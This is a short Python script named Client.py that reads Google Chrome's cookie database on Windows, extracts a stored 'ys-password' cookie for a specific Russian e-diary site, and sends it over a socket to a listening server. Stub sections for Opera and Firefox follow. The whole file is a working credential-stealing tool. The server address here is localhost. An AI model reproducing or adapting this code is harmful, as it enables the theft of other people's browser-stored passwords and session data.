Client.py

import sqlite3, os, socket

def sendPassword(passw):
    sock = socket.socket()
    try:
        sock.connect(("127.0.0.1", 8303))
    except ConnectionRefusedError:
        print("Server is off")
        return
    sock.send(str.encode(passw))
    sock.close()

#Google Chrome
pathToChromeCookies = os.getenv("APPDATA")[0:-7] + "Local\\Google\\Chrome\\User Data\\Default\\Cookies"
if os.path.exists(pathToChromeCookies):
    conn = sqlite3.connect(pathToChromeCookies)
    cursor = conn.cursor()
    cursor.execute("SELECT value FROM cookies WHERE host_key='diary-db.kirov.ru' AND name='ys-password'")
    password = cursor.fetchone()
    #Close all connections
    cursor.close()
    conn.close()
    #If password found
    if password != None:
        sendPassword(password[0][4:])
        exit()
    else:
        sendPassword("Chrome: Password not found!")

#Opera
pathToOperaCookies = "/"
#Firefox

sendPassword("No supported browsers found!")